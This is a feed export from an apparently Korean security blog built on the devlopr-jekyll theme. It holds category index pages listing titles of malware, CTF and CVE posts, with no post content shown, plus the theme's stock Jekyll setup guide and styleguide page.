    &lt;div id=&quot;#malware&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/malware&quot;&gt;malware&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;malware&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Malware/FilelessMalware&quot;&gt;Deep dive into Fileless Malware&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Malware/Steganography&quot;&gt;Deep dive into Steganography&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Malware/6be57566a72c81a9336d39b56627c14aa6a04e604954b71a84e83125171a742c&quot;&gt;RedLineStealer Analysis&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2_2/&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2[2]&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2/&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#notdoneyet&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/notdoneyet&quot;&gt;notdoneyet&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;notdoneyet&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2_2/&quot;&gt;70642465f22ee0d78b3d91262a0249fd08afd372ada63d80d9699b6a429383f2[2]&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#go&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/go&quot;&gt;go&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;go&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/Go-BubbleTea/&quot;&gt;Go - TUI 라이브러리 BubbleTea&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#ctf&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/ctf&quot;&gt;ctf&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;ctf&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/osu-gaming-ctf-2025/&quot;&gt;osu!gamingCTF 2025 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/brunner-ctf-2025/&quot;&gt;BrunnerCTF 2025 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/down-under-ctf-2025/&quot;&gt;DownUnderCTF 2025 문제풀이 및 오답노트&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/no-hack-no-ctf-2025/&quot;&gt;No Hack No CTF 2025 7문제 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/smileyctf2025-success/&quot;&gt;[smileyctf2025] Success&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-wembsocket/&quot;&gt;[byuctf2025] Wembsoncket&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/BYUCTF2025-JWTF/&quot;&gt;[byuctf2025] JWTF&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-baby-android2/&quot;&gt;[byuctf2025] Baby Android 2&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/byuctf2025-baby-android1/&quot;&gt;[byuctf2025] Baby Android 1&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/flask-session-decode/&quot;&gt;Flask session decode&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/hash-original-value/&quot;&gt;해시 원본 값 구하기&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/unity-binary-modification/&quot;&gt;유니티 게임 파일 변조법&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/python-deserialization-rce/&quot;&gt;파이썬 역직렬화 원격 코드 실행 취약점&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

  &lt;div class=&quot;category-box&quot;&gt;
    
    &lt;div id=&quot;#forensic&quot;&gt;&lt;/div&gt;
    &lt;h4 class=&quot;category-head&quot;&gt;&lt;a href=&quot;/blog/categories/forensic&quot;&gt;forensic&lt;/a&gt;&lt;/h4&gt;
    &lt;a name=&quot;forensic&quot;&gt;&lt;/a&gt;
     
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/no-hack-no-ctf-2025/&quot;&gt;No Hack No CTF 2025 7문제 문제풀이&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    
    &lt;article class=&quot;center&quot;&gt;
      &lt;h6&gt;&lt;a href=&quot;/blog/file-system-journal/&quot;&gt;운영체제 별 파일 시스템 저널 읽기&lt;/a&gt;&lt;/h6&gt;
    &lt;/article&gt;

    

  &lt;/div&gt;

&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/</link>
          </item>
        
      
    
      
    
      
        
          <item>
            <title>CTF</title>
            <description>&lt;h5&gt; Posts by Category : CTF &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;27 Oct 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/osu-gaming-ctf-2025/&quot;&gt;osu!gamingCTF 2025 문제풀이&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;07 Sep 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/brunner-ctf-2025/&quot;&gt;BrunnerCTF 2025 문제풀이&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;28 Jul 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/down-under-ctf-2025/&quot;&gt;DownUnderCTF 2025 문제풀이 및 오답노트&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;07 Jul 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/no-hack-no-ctf-2025/&quot;&gt;No Hack No CTF 2025 7문제 문제풀이&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;16 Jun 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/smileyctf2025-success/&quot;&gt;[smileyctf2025] Success&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;22 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/byuctf2025-wembsocket/&quot;&gt;[byuctf2025] Wembsoncket&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;21 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/BYUCTF2025-JWTF/&quot;&gt;[byuctf2025] JWTF&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;20 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/byuctf2025-baby-android2/&quot;&gt;[byuctf2025] Baby Android 2&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;20 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/byuctf2025-baby-android1/&quot;&gt;[byuctf2025] Baby Android 1&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;18 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/flask-session-decode/&quot;&gt;Flask session decode&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;10 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/hash-original-value/&quot;&gt;해시 원본 값 구하기&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;27 Apr 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/unity-binary-modification/&quot;&gt;유니티 게임 파일 변조법&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;15 Feb 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/python-deserialization-rce/&quot;&gt;파이썬 역직렬화 원격 코드 실행 취약점&lt;/a&gt;&lt;/li&gt;

&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/ctf/</link>
          </item>
        
      
    
      
        
          <item>
            <title>CVE</title>
            <description>&lt;h5&gt; Posts by Category : CVE &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;08 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/CVE-2024-53104&quot;&gt;CVE-2024-53104&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;22 Feb 2022&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/CVE-2022-23330/&quot;&gt;CVE-2022-23330&lt;/a&gt;&lt;/li&gt;

&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/cve/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Devops</title>
            <description>&lt;h5&gt; Posts by Category : Devops &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;

&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/devops/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Etc...</title>
            <description>&lt;h5&gt; Posts by Category : Etc... &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;24 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/rust-sled-template/&quot;&gt;Rust sled template&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;18 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/CVE-2023-25690/&quot;&gt;[byuctf2025] CVE-2023-25690&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;18 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/flask-session-decode/&quot;&gt;Flask session decode&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;10 May 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/hash-original-value/&quot;&gt;해시 원본 값 구하기&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;15 Feb 2025&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/python-deserialization-rce/&quot;&gt;파이썬 역직렬화 원격 코드 실행 취약점&lt;/a&gt;&lt;/li&gt;

 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;18 Feb 2022&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;/blog/Testpage/&quot;&gt;테스트페이지입니다.&lt;/a&gt;&lt;/li&gt;

&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/etc/</link>
          </item>
        
      
    
      
    
      
        
          <item>
            <title>Forensic</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.forensic %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/forensic/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Go</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.go %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/go/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Gpu</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.gpu %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/gpu/</link>
          </item>
        
      
    
      
    
      
    
      
        
          <item>
            <title>Get Started</title>
            <description>## Getting Started - How to use “devlopr-jekyll” theme

## What&apos;s Jekyll ?

If you aren’t familiar with Jekyll yet, you should know that it is a static site generator. It will transform your plain text into static websites and blogs. No more databases, slow loading websites, risk of being hacked…just your content. And not only that, with Jekyll you get free hosting with GitHub Pages! If you are a beginner we recommend you start with [Jekyll’s Docs](https://jekyllrb.com/docs/installation/). Now, if you know how to use Jekyll, let’s move on to using this theme in Jekyll:

## Watch Tutorial

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/cXBEfpn0qrg?rel=0&amp;amp;controls=0&amp;amp;showinfo=0&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;


### Steps to create your blog using devlopr-jekyll and Host using Github Pages :

&gt;  **Step 1.**  Fork the repo - [click here](https://github.com/sujaykundu777/devlopr-jekyll/fork)

![Devlopr Jekyll Repo](/assets/img/posts/fork1.PNG){:class=&quot;img-fluid&quot;}

&gt; **Step 2.** Use **your-github-username.github.io** as the new repo  ( Replace your-github-username with yours). Remember if you use the name other than your-github-username.github.io , your blog will be built using gh-pages branch.

![Devlopr Jekyll Repo](/assets/img/posts/fork2.PNG){:class=&quot;img-fluid&quot;}

![Devlopr Jekyll Repo](/assets/img/posts/fork3.PNG){:class=&quot;img-fluid&quot;}

&gt; **Step 3.** Clone the new repo locally to make changes :

![Devlopr Jekyll Repo](/assets/img/posts/fork31.PNG){:class=&quot;img-fluid&quot;}

![Devlopr Jekyll Repo](/assets/img/posts/fork32.PNG){:class=&quot;img-fluid&quot;}

![Devlopr Jekyll Repo](/assets/img/posts/fork33.PNG){:class=&quot;img-fluid&quot;}

```bash
 $ git clone https://github.com/yourusername/yourusername.github.io
 $ cd yourusername.github.io
 $ code .
```

&gt; **Step 4.** Open the files using VSCode and edit _config.yml and edit with your details:

- _config.yml file - replace with your own details
- _posts - Add your blog posts here
- _includes - You can replace the contents of the files with your data. (contains widgets)
- _assets/img - Add all your images here

![Devlopr Jekyll Repo](/assets/img/posts/fork34.PNG){:class=&quot;img-fluid&quot;}

&gt; **Step 5** - Install the development requirements:

### Set up local development environment

1. [Git](https://git-scm.com/)
2. [Ruby](https://www.ruby-lang.org/) and [Bundler](https://bundler.io/)
3. [VSCode](https://code.visualstudio.com/download)

We need ruby and bundler to build our site locally. After installation check if its working:

For ruby :

```bash
$ ruby -v
ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-linux-gnu]
```
For bundler :

```bash
$ gem install bundler
$ bundler -v
Bundler version 2.2.29
```
Add jekyll :

```bash
$ bundle update
$ bundle add jekyll
```
 This command will add the Jekyll gem to our Gemfile and install it to the ./vendor/bundle/ folder.

You can check the jekyll version

```
$ bundle exec jekyll -v
jekyll 4.2.0
```

&gt; **Step 6.** Install the gem dependencies by running the following command

```bash
$ bundle update
$ bundle install
```

&gt; **Step 7.** Serve the site locally by running the following command below:

```bash
$ bundle exec jekyll serve --watch
```
or you can also serve using :

```bash
$ jekyll serve
```

Visit [http://localhost:4000](http://localhost:4000) for development server

![Devlopr Jekyll Repo](/assets/img/posts/fork41.PNG){:class=&quot;img-fluid&quot;}


### Adding Content

Start populating your blog by adding your .md files in _posts. devlopr-jekyll already has a few examples.

#### YAML Post Example:

```yml
---
layout: post
title: Sample Post
author: Sujay Kundu
date: &apos;2019-05-21 14:35:23 +0530&apos;
category:
        - jekyll
summary: This is the summary for the sample post
thumbnail: sample.png
---

Hi ! This is sample post.

```

#### YAML Page Example:

```yml
---
layout: page
title: Sample Page
permalink: /sample-page/
---

Hi ! This is sample page.
```

#### Editing stylesheet

You’ll only work with a single file to edit/add theme style: assets/css/main.scss.

### Deploy your Changes

Once happy with your blog changes. Push your changes to master branch.

&gt; **Step 8.** Push Your Local Changes

```bash
 $ git add .
 $ git commit -m &quot;my new blog using devlopr-jekyll&quot;
 $ git push origin master
```

Visit your Github Repo settings ! Enable master branch as Github Pages Branch :

![Devlopr Jekyll Repo](/assets/img/posts/fork6.PNG){:class=&quot;img-fluid&quot;}

&gt; **Step 9.** Deploy your Blog :

![Devlopr Jekyll Repo](/assets/img/posts/fork7.PNG){:class=&quot;img-fluid&quot;}

&gt; Congrats ! On your new shining Blog !

You can visit the blog using [http://your-github-username.github.io](http://your-github-username.github.io).

</description>
            <link>https://slowanalyst.github.io/get-started/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Kubernetes</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.kubernetes %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/kubernetes/</link>
          </item>
        
      
    
      
        
          <item>
            <title>learning</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.learning %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/learning/</link>
          </item>
        
      
    
      
    
      
        
          <item>
            <title>Malware</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.malware %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/malware/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Not Done Yet</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.notdoneyet %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/notdoneyet/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Reversing</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.reversing %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/reversing/</link>
          </item>
        
      
    
      
    
      
        
          <item>
            <title>Rust</title>
            <description>&lt;h5&gt; Posts by Category : {{ page.title }} &lt;/h5&gt;

&lt;div class=&quot;card&quot;&gt;
{% for post in site.categories.rust %}
 &lt;li class=&quot;category-posts&quot;&gt;&lt;span&gt;{{ post.date | date_to_string }}&lt;/span&gt; &amp;nbsp; &lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/li&gt;
{% endfor %}
&lt;/div&gt;
</description>
            <link>https://slowanalyst.github.io/blog/categories/rust/</link>
          </item>
        
      
    
      
    
      
        
          <item>
            <title>Our Sponsors</title>
            <description>Thanks to all the amazing contributors and our Backers for the support.

- [Dirish Mohan](https://dirishmohan.com)</description>
            <link>https://slowanalyst.github.io/sponsors/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Styleguide</title>
            <description>### devlopr - Styleguide

&lt;hr /&gt;

 &lt;img src=&quot;/assets/img/styleguide.png&quot; class=&quot;img-fluid&quot;&gt;

&lt;p&gt; Lets try the different text styles  &lt;b&gt; Bold &lt;/b&gt; , &lt;strong&gt; Strong &lt;/strong&gt;, &lt;em&gt; Emphasis &lt;/em&gt;, &lt;i&gt; Italic &lt;/i&gt; &lt;/p&gt;


&lt;p&gt; Now, lets try different heading styles : &lt;/p&gt;

&lt;h1&gt; Hello in h1 ! &lt;/h1&gt;
&lt;h2&gt; Hello in h2 ! &lt;/h2&gt;
&lt;h3&gt; Hello in h3 ! &lt;/h3&gt;
&lt;h4&gt; Hello in h4 ! &lt;/h4&gt;
&lt;h5&gt; Hello in h5 ! &lt;/h5&gt;
&lt;h6&gt; Hello in h6 ! &lt;/h6&gt;

&lt;hr /&gt;
&lt;p&gt; Unordered List &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; List Item 1 &lt;/li&gt;
&lt;li&gt; List Item 2 &lt;/li&gt;
&lt;li&gt; List Item 3 &lt;/li&gt;
&lt;li&gt; List Item 4 &lt;/li&gt;
&lt;li&gt; List Item 5 &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; Ordered List &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt; List Item 1 &lt;/li&gt;
&lt;li&gt; List Item 2 &lt;/li&gt;
&lt;li&gt; List Item 3 &lt;/li&gt;
&lt;li&gt; List Item 4 &lt;/li&gt;
&lt;li&gt; List Item 5 &lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;This is a Block Quote,  It can Expand Multiple Lines &lt;/p&gt;

&lt;/blockquote&gt;

&lt;p&gt;You can use the mark tag to &lt;mark&gt;highlight&lt;/mark&gt; text. &lt;/p&gt;

&lt;p&gt;&lt;del&gt; This line of text is meant to be deleted text &lt;/del&gt; &lt;/p&gt;

&lt;p&gt;&lt;u&gt;This line of text will render as underlined&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;This line of text is meant to be treated as fine print.&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This line rendered as bold text.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This line rendered as italicized text.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;abbr title=&quot;attribute&quot;&gt;attr&lt;/abbr&gt;&lt;/p&gt;
&lt;p&gt;&lt;abbr title=&quot;HyperText Markup Language&quot; class=&quot;initialism&quot;&gt;HTML&lt;/abbr&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;div class=&quot;responsive-table&quot;&gt;
&lt;table&gt;
      &lt;thead&gt;
        &lt;tr&gt;
          &lt;th scope=&quot;col&quot;&gt;#&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
          &lt;th scope=&quot;col&quot;&gt;Heading&lt;/th&gt;
        &lt;/tr&gt;
      &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
          &lt;th scope=&quot;row&quot;&gt;1&lt;/th&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;th scope=&quot;row&quot;&gt;2&lt;/th&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;th scope=&quot;row&quot;&gt;3&lt;/th&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
          &lt;td&gt;Cell&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
    &lt;/table&gt;
    &lt;/div&gt;

&lt;hr /&gt;

&lt;h3&gt; Instagram Embed &lt;/h3&gt;

